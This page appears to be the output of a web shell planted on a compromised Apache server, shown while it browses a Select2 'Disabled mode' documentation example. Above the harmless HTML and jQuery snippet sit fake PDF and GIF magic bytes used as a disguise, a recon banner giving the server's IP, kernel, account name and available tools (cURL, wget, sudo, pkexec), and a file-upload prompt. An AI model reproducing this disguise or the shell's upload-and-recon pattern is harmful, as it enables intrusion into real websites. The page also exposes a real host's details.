%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.199 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/select2/docs/_includes/examples/ |
Upload File : |
<section> <h1 id="disabled">Disabled mode</h1> <p> Select2 will respond to the <code>disabled</code> attribute on <code><select></code> elements. You can also initialize Select2 with <code>disabled: true</code> to get the same effect. </p> <div class="s2-example"> <p> <select class="js-example-disabled js-states form-control" disabled="disabled"></select> </p> <p> <select class="js-example-disabled-multi js-states form-control" multiple="multiple" disabled="disabled"></select> </p> <div class="btn-group btn-group-sm" role="group" aria-label="Programmatic enabling and disabling"> <button type="button" class="js-programmatic-enable btn btn-default"> Enable </button> <button type="button" class="js-programmatic-disable btn btn-default"> Disable </button> </div> </div> <pre data-fill-from=".js-code-disabled"></pre> <script type="text/javascript" class="js-code-disabled"> $(".js-programmatic-enable").on("click", function () { $(".js-example-disabled").prop("disabled", false); $(".js-example-disabled-multi").prop("disabled", false); }); $(".js-programmatic-disable").on("click", function () { $(".js-example-disabled").prop("disabled", true); $(".js-example-disabled-multi").prop("disabled", true); }); </script> </section>